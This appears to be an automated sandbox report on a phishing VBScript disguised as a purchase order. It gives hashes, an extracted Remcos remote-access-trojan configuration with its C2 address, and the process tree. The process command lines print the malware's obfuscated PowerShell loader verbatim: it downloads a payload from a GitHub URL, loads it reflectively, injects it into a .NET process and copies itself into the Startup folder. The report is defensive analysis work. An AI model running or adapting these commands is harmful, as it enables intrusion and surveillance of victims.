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Analysis
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max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
03/10/2024, 07:15
Static task
static1
Behavioral task
behavioral1
Sample
Purchase Order - PO14895.vbs
Resource
win7-20240708-en
General
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Target
Purchase Order - PO14895.vbs
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Size
486KB
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MD5
411a23153d97ad4c071a62d54e928d6b
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SHA1
f1fc194cf23bd614ed793037f6700c565e88b11b
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SHA256
cf85e5927fe85ba85cd070fcc7a6fdf206625e836a9194143f789d24ed1671ab
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SHA512
a245a3c469c760e11dc74a1f7ea0762da5dc2fc7e23d2688fc3270678c1f1b32964be276b1912a9d637557d4715d920ca8e0e79008264b355aa360025d235c59
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SSDEEP
12288:464azKbI45msgYvWtcg7qKsxNksRgTJct4AqHpE0pZvSmO9FuhFz3VGMIQbPxur5:FEaPqH1
Malware Config
Extracted
https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt
https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt
Extracted
remcos
OCT
ab9001.ddns.net:55543
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audio_folder
MicRecords
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
vlc.exe
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copy_folder
vlc
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
true
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
chrorne-9OH0YR
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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startup_value
Remcos
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 22 4308 powershell.exe 24 4308 powershell.exe -
pid Process 1132 powershell.exe 764 powershell.exe 4308 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\estercoreiro.vbs WScript.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\estercoreiro.vbs WScript.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 21 raw.githubusercontent.com 22 raw.githubusercontent.com -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4308 set thread context of 3144 4308 powershell.exe 94 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AddInProcess32.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 1592 cmd.exe 3600 PING.EXE -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 3600 PING.EXE -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 1132 powershell.exe 1132 powershell.exe 764 powershell.exe 764 powershell.exe 4308 powershell.exe 4308 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 1132 powershell.exe Token: SeDebugPrivilege 764 powershell.exe Token: SeDebugPrivilege 4308 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3144 AddInProcess32.exe -
Suspicious use of WriteProcessMemory 22 IoCs
description pid Process procid_target PID 4480 wrote to memory of 1592 4480 WScript.exe 82 PID 4480 wrote to memory of 1592 4480 WScript.exe 82 PID 1592 wrote to memory of 3600 1592 cmd.exe 84 PID 1592 wrote to memory of 3600 1592 cmd.exe 84 PID 1592 wrote to memory of 1132 1592 cmd.exe 89 PID 1592 wrote to memory of 1132 1592 cmd.exe 89 PID 4480 wrote to memory of 764 4480 WScript.exe 90 PID 4480 wrote to memory of 764 4480 WScript.exe 90 PID 764 wrote to memory of 4308 764 powershell.exe 92 PID 764 wrote to memory of 4308 764 powershell.exe 92 PID 4308 wrote to memory of 3144 4308 powershell.exe 94 PID 4308 wrote to memory of 3144 4308 powershell.exe 94 PID 4308 wrote to memory of 3144 4308 powershell.exe 94 PID 4308 wrote to memory of 3144 4308 powershell.exe 94 PID 4308 wrote to memory of 3144 4308 powershell.exe 94 PID 4308 wrote to memory of 3144 4308 powershell.exe 94 PID 4308 wrote to memory of 3144 4308 powershell.exe 94 PID 4308 wrote to memory of 3144 4308 powershell.exe 94 PID 4308 wrote to memory of 3144 4308 powershell.exe 94 PID 4308 wrote to memory of 3144 4308 powershell.exe 94 PID 4308 wrote to memory of 3144 4308 powershell.exe 94 PID 4308 wrote to memory of 3144 4308 powershell.exe 94
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Purchase Order - PO14895.vbs"1⤵
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:4480 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\Purchase Order - PO14895.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.orierocretse.vbs')')2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:1592 -
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 103⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:3600
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\Purchase Order - PO14895.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.orierocretse.vbs')')3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1132
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJEVuVjpDT01zUGVjWzQsMjYsMjVdLUpvSU4nJykoKCgnV1BzdScrJ3InKydsJysnID0gWScrJ1FEaHR0cHM6Ly8nKydyYScrJ3cuJysnZ2l0aHVidXNlJysncmNvbnRlbicrJ3QuY29tL04nKydvRGV0ZWN0TycrJ24nKycvJysnTm8nKydEZXRlJysnY3RPJysnbi8nKydyZWZzL2hlJysnYScrJ2RzL21haW4vRCcrJ2V0YWhObycrJ3RoLScrJ1YudHh0WVFEOycrJyBXUHNiJysnYXNlNjQnKydDb250ZW4nKyd0ID0gKE4nKydlJysndycrJy0nKydPJysnYicrJ2onKydlY3QgUycrJ3lzdGUnKydtLicrJ05ldC5XJysnZWJDbCcrJ2llJysnbicrJ3QpJysnLkRvd25sbycrJ2FkU3RyaW4nKydnJysnKFdQJysnc3VyJysnbCcrJyknKyc7JysnIFcnKydQcycrJ2JpJysnbmFyeUNvbnRlJysnbicrJ3QgPSAnKydbU3lzJysndGVtLicrJ0NvbicrJ3ZlcnRdOicrJzonKydGcicrJ28nKydtQmFzZTY0JysnU3RyaScrJ25nKFdQc2Jhc2UnKyc2NCcrJ0NvbicrJ3RlJysnbnQpJysnOycrJyBXUHNhc3NlbScrJ2InKydsJysneSA9IFtSJysnZWZsZWMnKyd0aW8nKyduJysnLkFzc2VtYmx5XTo6TG8nKydhZChXJysnUCcrJ3NiaW5hcnlDbycrJ250JysnZW50KTsgW2RubGknKydiLicrJ0lPLicrJ0hvbScrJ2UnKyddJysnOicrJzpWJysnQUknKycoJysnMDJWMC8nKydyZ1F2NS9kL2VlJysnLmV0Jysnc2FwJysnLy86c3B0JysndCcrJ2gwJysnMlYsIDAyVmRlJysnc2EnKyd0aScrJ3ZhJysnZG8wMlYsJysnIDAnKycyVmQnKydlc2F0JysnaXZhJysnZG8wMicrJ1YnKycsIDAyVmQnKydlc2F0aXYnKydhJysnZG8wMicrJ1YsICcrJzAnKycyVkEnKydkJysnZEluUCcrJ3JvYycrJ2VzczMyMDJWLCcrJyAwMlYnKycwMlYsMDInKydWMDJWKScpLUNyRXBMYUNFKFtDSGFSXTg3K1tDSGFSXTgwK1tDSGFSXTExNSksW0NIYVJdMzYgLUNyRXBMYUNFICAoW0NIYVJdODkrW0NIYVJdODErW0NIYVJdNjgpLFtDSGFSXTM5IC1yZXBMYUNlICAnMDJWJyxbQ0hhUl0zNCkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:764 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $EnV:COMsPec[4,26,25]-JoIN'')((('WPsu'+'r'+'l'+' = Y'+'QDhttps://'+'ra'+'w.'+'githubuse'+'rconten'+'t.com/N'+'oDetectO'+'n'+'/'+'No'+'Dete'+'ctO'+'n/'+'refs/he'+'a'+'ds/main/D'+'etahNo'+'th-'+'V.txtYQD;'+' WPsb'+'ase64'+'Conten'+'t = (N'+'e'+'w'+'-'+'O'+'b'+'j'+'ect S'+'yste'+'m.'+'Net.W'+'ebCl'+'ie'+'n'+'t)'+'.Downlo'+'adStrin'+'g'+'(WP'+'sur'+'l'+')'+';'+' W'+'Ps'+'bi'+'naryConte'+'n'+'t = '+'[Sys'+'tem.'+'Con'+'vert]:'+':'+'Fr'+'o'+'mBase64'+'Stri'+'ng(WPsbase'+'64'+'Con'+'te'+'nt)'+';'+' WPsassem'+'b'+'l'+'y = [R'+'eflec'+'tio'+'n'+'.Assembly]::Lo'+'ad(W'+'P'+'sbinaryCo'+'nt'+'ent); [dnli'+'b.'+'IO.'+'Hom'+'e'+']'+':'+':V'+'AI'+'('+'02V0/'+'rgQv5/d/ee'+'.et'+'sap'+'//:spt'+'t'+'h0'+'2V, 02Vde'+'sa'+'ti'+'va'+'do02V,'+' 0'+'2Vd'+'esat'+'iva'+'do02'+'V'+', 02Vd'+'esativ'+'a'+'do02'+'V, '+'0'+'2VA'+'d'+'dInP'+'roc'+'ess3202V,'+' 02V'+'02V,02'+'V02V)')-CrEpLaCE([CHaR]87+[CHaR]80+[CHaR]115),[CHaR]36 -CrEpLaCE ([CHaR]89+[CHaR]81+[CHaR]68),[CHaR]39 -repLaCe '02V',[CHaR]34))"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4308 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:3144
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
144B
MD5a4fa03f8c23ce891935a4c2f3408e353
SHA1d78ca4a16babc34b17313f32f1b1017c4318f12c
SHA2567a65284271c7396c55eca65b481cf19a6865b5eea561b74312f81f5fdc6c981f
SHA512c7e12fbbaf5325acda51cd42ca122f5dc2e84b6370dd15afe21066d681e80b8ea2a688ecd84f0aaf87f35b40434ebdaf8265bfc22453214fc2388a76eba02c02
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD56d3e9c29fe44e90aae6ed30ccf799ca8
SHA1c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA2562360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
SHA51260c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a
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Filesize
64B
MD537cfbaa2b671d395875ca7eb166864a6
SHA1d5a77193315d50b4e13c4b8680e2e8b90a3c2e19
SHA25692de886e4e57c8d2976bd401e1a3591204dfe0c00a4b94eae669edf6316f42d9
SHA51206a9b346ffcf46ee3a179c2d006a4e138c0d59e354652424d94a7858674cc45451700d0d116f84562eb74f3386d5a8dcfe498dbe3797d8a4b3cdf93c64ca0faf
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82